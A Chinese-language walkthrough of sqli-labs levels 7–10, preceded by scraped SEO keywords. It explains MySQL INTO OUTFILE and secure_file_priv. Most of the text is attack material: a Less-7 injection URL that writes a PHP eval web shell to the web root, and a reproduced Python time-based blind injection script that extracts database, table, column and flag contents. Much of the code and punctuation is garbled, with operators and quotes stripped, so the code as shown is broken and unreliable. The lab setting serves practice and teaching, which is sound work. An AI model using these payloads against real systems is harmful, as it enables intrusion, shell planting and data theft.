河南公司网站可以做天津备案吗,郑州软件开发公司,鑫牛元网站建设,建设网站注意哪几点前置知识点#xff1a; 1、outfile是将检索到的数据#xff0c;保存到服务器的文件内#xff1a; 格式#xff1a;select * into outfile “文件地址”
示例#xff1a;
mysql select * into outfile ‘f:/mysql/test/one’ from teacher_class;
2、文件是自动创建…前置知识点 1、outfile是将检索到的数据保存到服务器的文件内 格式select * into outfile “文件地址”
示例
mysql select * into outfile ‘f:/mysql/test/one’ from teacher_class;
2、文件是自动创建的。
3读写文件函数调用的限制
因为涉及到在服务器上写入文件所以上述函数能否成功执行受到参数 secure_file_priv 的影响。, 其中当参数 secure_file_priv 为空时对导入导出无限制 当值为一个指定的目录时只能向指定的目录导入导出 当值被设置为NULL时禁止导入导出功能 这个值可以通过命令 select secure_file_priv 查询。由于这个参数不能动态更改只能在mysql的配置文件中进行修改然后重启生效。 即需要mysql数据库开启secure-file-priv写文件权限否则不能写入文件。 进入mysql安装目录找到my.ini 修改里面的secure-file-priv参数
如果发现没有secure_file_priv这个选项直接再最后添加一个空的即可。 注意 需要有绝对路径 文件名里路径里必须用\代替/
less7 可知有三个显示位
根据题目提示使用outfile传入木马http://127.0.0.1/sqli-labs-master/Less-7/?id-1)) union select 1,2,?php eval($_POST[shell]);? into outfile D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php--
最后使用蚁剑连接shell
less8
手工注入方式与5节基本相同
less9
知识点 基于时间型SQL盲注
注入SQL 代码之后 存在以下两种情况
如果注入的SQL代码不影响后台[ 数据库] 的正常功能执行 那么Web 应用的页面显示正确 原始页面 。
如果注入的SQL 代码影响后台数据库的正常功能 产生了SQL 注入 但是此时Web 应用的页面依旧显示正常 原因是Web 应用程序采取了“ 重定向 或“ 屏蔽 ”措施。
产生一个疑问 注入的SQL 代码到底被后台数据库执行了没有 即web 应用程序是否存在SQL 注入
面对这种情况 之前讲的基于布尔的SQL 盲注很难发挥作用了 因为基于布尔的SQL 盲注的前提是web 程序返回的页面存在true 和false 两种不同的页面 。
时间盲注 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数通过查看web页面返回的时间差来判断注入的语句是否正确。这时 一般采用基于web 应用***响应时间上的差异来判断是否存在SQL 注入*** 即基于时间型SQL 盲注。
所以方法和less5相通只是不以回显而是时间长短来判断语句的执行情况
找了份大佬的脚本
import requests
import time
import datetimeurl http://localhost/sql-labs/Less-9/?id1def get_dbname():dbname for i in range(1,9):for k in range(32,127):payload and if(ascii(substr(database(),{0},1)){1},sleep(2),1)--.format(i,k)# payload and if(ascii(substr(database(),{0},1)){1},sleep(2),1) --.format(i,k)#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒也可以和1调换位置那样就是如果语句错误休眠两秒time1 datetime.datetime.now()#获得提交payload之前的时间res requests.get(url payload)time2 datetime.datetime.now()#获得payload提交后的时间difference (time2 - time1).seconds#timetime2时间差seconds是只查看秒if difference 1:dbname chr(k)else:continueprint(数据库名为-dbname)
get_dbname()def get_table():table1 table2 table3 table4 for i in range(5):for j in range(6):for k in range(32,127):payload and if(ascii(substr((select table_name from information_schema.tables where table_schema\security\ limit %d,1),%d,1))%d,sleep(2),1)--%(i,j,k)time1 datetime.datetime.now()res requests.get(url payload)time2 datetime.datetime.now()difference (time2-time1).secondsif difference 1:if i 0:table1 chr(k)print(第一个表为-table1)elif i 1:table2 chr(k)print(第二个表为-table2)elif i 3:table3 chr(k)print(第三个表为-table3)elif i 4:table4 chr(k)print(第四个表为-table4)else:break
get_table()def get_column():column1 column2 column3 for i in range(3):for j in range(1,9):for k in range(32,127):payload and if(ascii(substr((select column_name from information_schema.columns where table_name\flag\ limit %d,1),%d,1))%d,sleep(2),1)--%(i,j,k)time1 datetime.datetime.now()res requests.get(urlpayload)time2 datetime.datetime.now()difference (time2-time1).secondsif difference 1:if i 0:column1 chr(k)print(字段一为-column1)if i 1:column2 chr(k)print(字段二为-column2)if i 2:column3 chr(k)print(字段三为-column3)else:break
get_column()def get_flag():flag for i in range(30):for k in range(32,127):payload and if(ascii(substr((select flag from flag),%d,1))%d,sleep(2),1)--%(i,k)time1 datetime.datetime.now()res requests.get(urlpayload)time2 datetime.datetime.now()difference (time2-time1).secondsif difference 1:flag chr(k)print(flag为-flag)
get_flag()less10
和9相同单引号改为双引号